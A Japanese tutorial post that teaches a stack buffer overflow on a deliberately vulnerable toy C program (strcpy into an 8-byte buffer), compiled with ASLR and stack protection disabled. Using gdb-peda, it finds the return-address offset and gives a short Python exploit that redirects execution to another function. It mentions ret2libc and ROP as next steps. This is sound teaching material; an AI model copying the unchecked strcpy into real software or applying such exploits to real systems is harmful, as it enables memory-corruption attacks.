概要
バッファオーバーフロー攻撃により、vuln関数のリターンアドレスを書き換え、違う関数を実行させる。結構説明詳しめ。
対象コードとBOFの仕組み
#include <stdio.h>
#include <string.h>
void f() {
printf("YOU ENTERED F FUNCTION!!!\n");
}
void g() {
printf("YOU ENTERED G FUNCTION!!!\n");
}
void vuln(char *str) {
char buf[8];
strcpy(buf, str);
}
int main(int argc, char *argv[]){
vuln(argv[1]);
return 0;
}
コマンドライン引数argv[1]がvuln関数のstrcpyにて、8要素分しかないbufに代入されようとする。bufはvuln関数のために用意されたメモリ上のスタック領域(スタックフレーム)に確保されるわけだが、スタックにはbufの下にvuln関数が終わった後次どのコードを実行するかのリターンアドレスも配置されているので、8要素分より大きい値をstrcpyすると、そのリターンアドレスも書き換わってしまい、vuln関数終了後retした時に、その書き換わったスタックの値のアドレスへリターンしてしまう。まず、リターンアドレスをf()の先頭アドレスに書き換えてみる。
コンパイル方法や下準備
ASLRなど色々セキュリティ機構がついてると厄介なのでそれらを無効化する。
ASLRの無効化/有効化
sudo sysctl -w kernel.randomize_va_space=0 # 無効化
sudo sysctl -w kernel.randomize_va_space=2 # 有効化
コンパイル方法
gcc -m32 -no-pie -fno-stack-protector -o bof test.c
関数呼び出しに関するアセンブラの基本知識
gdbでブレークポイントをどこに置けばいいのかや、どこを見ればいいのかなどを明快にするためアセンブラを少し確認。リターンアドレスを書き換えるので関数終了時の命令と、リターンアドレスを書き換えて別の関数を呼び出すので、関数呼び出し時のアセンブラの流れの2点を最低限理解するべき。
- 関数終了時の
leave
とret
命令が何をしているのか - 関数呼び出しの流れ
leave命令
leave
→ret
の順番でいつも呼ばれる。
leave命令はスタックをその関数の呼び出し前の状態に復元する命令。それなので、例えばvuln関数の処理が終わってleave命令が呼ばれると、vuln関数実行時に使われてたスタックの内容が綺麗に掃除され、スタックの一番上はリターンアドレスになる。つまり、leave命令終了後の命令(ret)にブレークポイントを打ってrunすれば、スタックの一番上はリターンアドレスになる。
ret命令
ret = pop eip
スタックの一番上のアドレスにジャンプする命令。
例えばmainがvuln関数を呼び出す場合、
0x0804921c <+41>: call 0x80491c8 <vuln>
0x08049221 <+46>: add esp,0x10
こんな感じでvulnを呼び出すわけだが、vulnの処理が終わってretする時には、リターンアドレスとしてadd esp,0x10
のアドレスである0x08049221
がスタックの一番上に積まれているはずである。これによってmain関数はvulnを呼び出してリターンしてきた後、次の命令を実行することができるようになってる。
関数呼び出しの流れ
関数を呼び出すとき、こんな感じの流れで呼び出す。
- 関数の引数をスタックにpush
- リターンアドレスをスタックにpush
- 呼び出す関数の先頭アドレスをeipにセット
gdb-pedaで実行時のスタックの様子を確認
compile.shを実行してコンパイルした後、strcpyで実際にオーバーフローしたときのスタックの様子や、どこにどの入力文字列が配置されているのかをgdb-pedaで確認する。
大まかな流れは以下のようになる。
-
pdisas vuln
でret命令のアドレスを確認してブレークポイントを打つ -
pattc
で作成したパターンを引数にrun
後、スタックの一番上にあるリターンアドレスを確認 -
patto
でリターンアドレスが入力パターンの何文字目からに相当するのかを確認 - 例えば3で20文字目だったなら
"A"*20 + 飛ばしたい関数へのアドレス
でBOF成功
まず、pdisas vuln
でret
命令のアドレスを確認。
→ hackprok:~/test/prac$ gdb -q bof
Reading symbols from bof...
(No debugging symbols found in bof)
gdb-peda$ pdisas vuln
Dump of assembler code for function vuln:
0x080491c8 <+0>: push ebp
0x080491c9 <+1>: mov ebp,esp
0x080491cb <+3>: push ebx
0x080491cc <+4>: sub esp,0x14
0x080491cf <+7>: call 0x8049231 <__x86.get_pc_thunk.ax>
0x080491d4 <+12>: add eax,0x2e2c
0x080491d9 <+17>: sub esp,0x8
0x080491dc <+20>: push DWORD PTR [ebp+0x8]
0x080491df <+23>: lea edx,[ebp-0x10]
0x080491e2 <+26>: push edx
0x080491e3 <+27>: mov ebx,eax
0x080491e5 <+29>: call 0x8049030 <strcpy@plt>
0x080491ea <+34>: add esp,0x10
0x080491ed <+37>: nop
0x080491ee <+38>: mov ebx,DWORD PTR [ebp-0x4]
0x080491f1 <+41>: leave
0x080491f2 <+42>: ret
End of assembler dump.
次にret
命令のところにブレークポイントを打つ。
gdb-peda$ b *0x080491f2
Breakpoint 1 at 0x80491f2
次に、入力する文字列をpattc
コマンドで生成し、コピーする。
gdb-peda$ pattc 50
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
そしてこのパターンを引数に実行する。(ここで注意なのが、シングルクオートじゃなくてダブルクオートにしてしまうとうまくいかない)
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
Starting program: /home/hackprok/test/prac/bof 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA'
[----------------------------------registers-----------------------------------]
EAX: 0xffffcb38 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbA")
EBX: 0x6e414124 ('$AAn')
ECX: 0xffffce80 ("AAbA")
EDX: 0xffffcb66 ("AAbA")
ESI: 0xf7fa7000 --> 0x1e4d6c
EDI: 0xf7fa7000 --> 0x1e4d6c
EBP: 0x41434141 ('AACA')
ESP: 0xffffcb4c ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbA")
EIP: 0x80491f2 (<vuln+42>: ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80491ed <vuln+37>: nop
0x80491ee <vuln+38>: mov ebx,DWORD PTR [ebp-0x4]
0x80491f1 <vuln+41>: leave
=> 0x80491f2 <vuln+42>: ret
0x80491f3 <main>: lea ecx,[esp+0x4]
0x80491f7 <main+4>: and esp,0xfffffff0
0x80491fa <main+7>: push DWORD PTR [ecx-0x4]
0x80491fd <main+10>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcb4c ("A-AA(AADAA;AA)AAEAAaAA0AAFAAbA")
0004| 0xffffcb50 ("(AADAA;AA)AAEAAaAA0AAFAAbA")
0008| 0xffffcb54 ("AA;AA)AAEAAaAA0AAFAAbA")
0012| 0xffffcb58 ("A)AAEAAaAA0AAFAAbA")
0016| 0xffffcb5c ("EAAaAA0AAFAAbA")
0020| 0xffffcb60 ("AA0AAFAAbA")
0024| 0xffffcb64 ("AFAAbA")
0028| 0xffffcb68 --> 0x4162 ('bA')
0032| 0xffffcb6c --> 0xf7de0df6 (<__libc_start_main+262>: add esp,0x10)
0036| 0xffffcb70 --> 0xf7fa7000 --> 0x1e4d6c
0040| 0xffffcb74 --> 0xf7fa7000 --> 0x1e4d6c
0044| 0xffffcb78 --> 0x0
0048| 0xffffcb7c --> 0xf7de0df6 (<__libc_start_main+262>: add esp,0x10)
0052| 0xffffcb80 --> 0x2
0056| 0xffffcb84 --> 0xffffcc24 --> 0xffffce35 ("/home/hackprok/test/prac/bof")
0060| 0xffffcb88 --> 0xffffcc30 --> 0xffffce85 ("SHELL=/bin/bash")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080491f2 in vuln ()
vulnのret命令にて次の段階でスタックの一番上のアドレスに飛ぶが、そのスタックの一番上は今、A-AA
になっている。ではこのA-AA
が入力パターンの何文字目かということについてだが、これはpatto
コマンドにより以下のように調べられる。
gdb-peda$ patto 'A-AA'
A-AA found at offset: 20
※このように0から始まる
A A A % A A s A A B A A $ A A n A A C A A-AA(AADAA;AA)AAEAAaAA0AAFAAbA
0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
よって、これで20個適当な文字を入れてから、その次に実行させたい関数の先頭アドレスを打ち込めば、任意の関数に飛ばすことができる。ちなみにBOFで実行させたいのは、f()なので、f()の先頭アドレスを確認してみる。
gdb-peda$ p f
$1 = {<text variable, no debug info>} 0x8049172 <f>
これで、f()の先頭アドレスは0x8049172
だとわかる。
Pythonのエクスプロイトコード作成
\x72... みたいな感じでリトルエンディアンとか気にしていちいち入力書くのはめんどいのでpythonで入力を書いてみる。
#!/usr/bin/env python
import os
import struct
f_addr = 0x8049172
payload = "A" * 20
payload += struct.pack("I", f_addr)
# print("%s" % payload)
os.system("./bof \"%s\"" % payload)
Aを20個打った後にvulnからリターンさせたいリターン先のアドレス(fの先頭アドレス)"\x72\x91\x04\x08"を加えたものである。f()は引数が必要ない関数なので、スタックに積むのはリターンアドレスだけでいい。これを実行すると、
→ hackprok:~/test/prac$ python2 exploit.py
YOU ENTERED F FUNCTION!!!
Segmentation fault
セグフォは起きるが、ちゃんとf()が呼び出されていることがわかる。
gdb-pedaで攻撃の流れを確認
先ほどのエクスプロイトコードexploit.py
をgdbで使えるように、このように書き換える。
#!/usr/bin/env python
import os
import struct
f_addr = 0x8049172
payload = "A" * 20
payload += struct.pack("I", f_addr)
print("%s" % payload)
# os.system("./bof \"%s\"" % payload)
その後、gdbを起動して、先ほどと同じように以下のようにvulnからretするところにブレークポイントを打つ。
→ hackprok:~/test/prac$ gdb -q bof
Reading symbols from bof...
(No debugging symbols found in bof)
gdb-peda$ pdisas vuln
Dump of assembler code for function vuln:
0x080491c8 <+0>: push ebp
0x080491c9 <+1>: mov ebp,esp
0x080491cb <+3>: push ebx
0x080491cc <+4>: sub esp,0x14
0x080491cf <+7>: call 0x8049231 <__x86.get_pc_thunk.ax>
0x080491d4 <+12>: add eax,0x2e2c
0x080491d9 <+17>: sub esp,0x8
0x080491dc <+20>: push DWORD PTR [ebp+0x8]
0x080491df <+23>: lea edx,[ebp-0x10]
0x080491e2 <+26>: push edx
0x080491e3 <+27>: mov ebx,eax
0x080491e5 <+29>: call 0x8049030 <strcpy@plt>
0x080491ea <+34>: add esp,0x10
0x080491ed <+37>: nop
0x080491ee <+38>: mov ebx,DWORD PTR [ebp-0x4]
0x080491f1 <+41>: leave
0x080491f2 <+42>: ret
End of assembler dump.
gdb-peda$ b *0x080491f2
Breakpoint 1 at 0x80491f2
次に、先ほどのエクスプロイトコードをgdbで使うには、以下のようにして実行する。
gdb-peda$ r `python2 exploit.py`
Starting program: /home/hackprok/test/prac/bof `python2 exploit.py`
[----------------------------------registers-----------------------------------]
EAX: 0xffffcb48 ('A' <repeats 20 times>, "r\221\004\b")
EBX: 0x41414141 ('AAAA')
ECX: 0xffffce80 --> 0x8049172 (<f>: push ebp)
EDX: 0xffffcb5c --> 0x8049172 (<f>: push ebp)
ESI: 0xf7fa7000 --> 0x1e4d6c
EDI: 0xf7fa7000 --> 0x1e4d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcb5c --> 0x8049172 (<f>: push ebp)
EIP: 0x80491f2 (<vuln+42>: ret)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80491ed <vuln+37>: nop
0x80491ee <vuln+38>: mov ebx,DWORD PTR [ebp-0x4]
0x80491f1 <vuln+41>: leave
=> 0x80491f2 <vuln+42>: ret
0x80491f3 <main>: lea ecx,[esp+0x4]
0x80491f7 <main+4>: and esp,0xfffffff0
0x80491fa <main+7>: push DWORD PTR [ecx-0x4]
0x80491fd <main+10>: push ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffcb5c --> 0x8049172 (<f>: push ebp)
0004| 0xffffcb60 --> 0xffffce00 --> 0xffffce2b --> 0xee4d18ad
0008| 0xffffcb64 --> 0xffffcc34 --> 0xffffce4f ("/home/hackprok/test/prac/bof")
0012| 0xffffcb68 --> 0xffffcc40 --> 0xffffce85 ("SHELL=/bin/bash")
0016| 0xffffcb6c --> 0x8049209 (<main+22>: add eax,0x2df7)
0020| 0xffffcb70 --> 0xf7fe4080 (push ebp)
0024| 0xffffcb74 --> 0xffffcb90 --> 0x2
0028| 0xffffcb78 --> 0x0
0032| 0xffffcb7c --> 0xf7de0df6 (<__libc_start_main+262>: add esp,0x10)
0036| 0xffffcb80 --> 0xf7fa7000 --> 0x1e4d6c
0040| 0xffffcb84 --> 0xf7fa7000 --> 0x1e4d6c
0044| 0xffffcb88 --> 0x0
0048| 0xffffcb8c --> 0xf7de0df6 (<__libc_start_main+262>: add esp,0x10)
0052| 0xffffcb90 --> 0x2
0056| 0xffffcb94 --> 0xffffcc34 --> 0xffffce4f ("/home/hackprok/test/prac/bof")
0060| 0xffffcb98 --> 0xffffcc40 --> 0xffffce85 ("SHELL=/bin/bash")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x080491f2 in vuln ()
gdb-peda$ p f
$1 = {<text variable, no debug info>} 0x8049172 <f>
最後にp
コマンドにてf()関数の先頭アドレス0x8049172
表示しているが、これと同じものがちゃんとスタックの一番上に来ていることがわかる。この後、s
コマンドによりステップ実行してみれば、
gdb-peda$ s
[----------------------------------registers-----------------------------------]
EAX: 0xffffcb48 ('A' <repeats 20 times>, "r\221\004\b")
EBX: 0x41414141 ('AAAA')
ECX: 0xffffce80 --> 0x8049172 (<f>: push ebp)
EDX: 0xffffcb5c --> 0x8049172 (<f>: push ebp)
ESI: 0xf7fa7000 --> 0x1e4d6c
EDI: 0xf7fa7000 --> 0x1e4d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcb60 --> 0xffffce00 --> 0xffffce2b --> 0xee4d18ad
EIP: 0x8049172 (<f>: push ebp)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8049168 <__do_global_dtors_aux+40>: lea esi,[esi+eiz*1+0x0]
0x804916f <__do_global_dtors_aux+47>: nop
0x8049170 <frame_dummy>: jmp 0x8049100 <register_tm_clones>
=> 0x8049172 <f>: push ebp
0x8049173 <f+1>: mov ebp,esp
0x8049175 <f+3>: push ebx
0x8049176 <f+4>: sub esp,0x4
0x8049179 <f+7>: call 0x8049231 <__x86.get_pc_thunk.ax>
[------------------------------------stack-------------------------------------]
0000| 0xffffcb60 --> 0xffffce00 --> 0xffffce2b --> 0xee4d18ad
0004| 0xffffcb64 --> 0xffffcc34 --> 0xffffce4f ("/home/hackprok/test/prac/bof")
0008| 0xffffcb68 --> 0xffffcc40 --> 0xffffce85 ("SHELL=/bin/bash")
0012| 0xffffcb6c --> 0x8049209 (<main+22>: add eax,0x2df7)
0016| 0xffffcb70 --> 0xf7fe4080 (push ebp)
0020| 0xffffcb74 --> 0xffffcb90 --> 0x2
0024| 0xffffcb78 --> 0x0
0028| 0xffffcb7c --> 0xf7de0df6 (<__libc_start_main+262>: add esp,0x10)
0032| 0xffffcb80 --> 0xf7fa7000 --> 0x1e4d6c
0036| 0xffffcb84 --> 0xf7fa7000 --> 0x1e4d6c
0040| 0xffffcb88 --> 0x0
0044| 0xffffcb8c --> 0xf7de0df6 (<__libc_start_main+262>: add esp,0x10)
0048| 0xffffcb90 --> 0x2
0052| 0xffffcb94 --> 0xffffcc34 --> 0xffffce4f ("/home/hackprok/test/prac/bof")
0056| 0xffffcb98 --> 0xffffcc40 --> 0xffffce85 ("SHELL=/bin/bash")
0060| 0xffffcb9c --> 0xffffcbc4 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08049172 in f ()
このようにちゃんとf()関数に入っていることが確認できる。
この内容が理解できた後は?
このバッファオーバーフローが理解できた後は、
- ret2libc:引数有りの関数をBOFで呼び出す (
system("/bin/sh")
でシェルが呼び出せるようになる) - ROP:一回だけではなく、複数の関数を呼び出せるようになる
とステップアップ。どちらも終わったら、
- 書式文字列型攻撃(Format String Attack)
- ↑ によるGOT Overwrite攻撃
のような流れがいいかと…
参考URL
このサイトがスライドでパラパラ漫画みたいにBOFのスタックの様子を書いてくれているので、これ見るとよりイメージがしやすくなる。
https://speakerdeck.com/m412u/xue-nei-pwnmian-qiang-hui?slide=28